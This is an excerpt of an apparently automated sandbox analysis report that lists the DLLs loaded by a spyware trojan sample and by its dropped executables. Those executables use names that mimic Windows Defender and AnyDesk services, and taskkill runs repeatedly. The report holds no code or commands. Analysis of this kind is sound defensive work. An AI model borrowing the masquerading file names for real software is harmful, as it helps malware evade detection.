Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: slc.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: pcacli.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
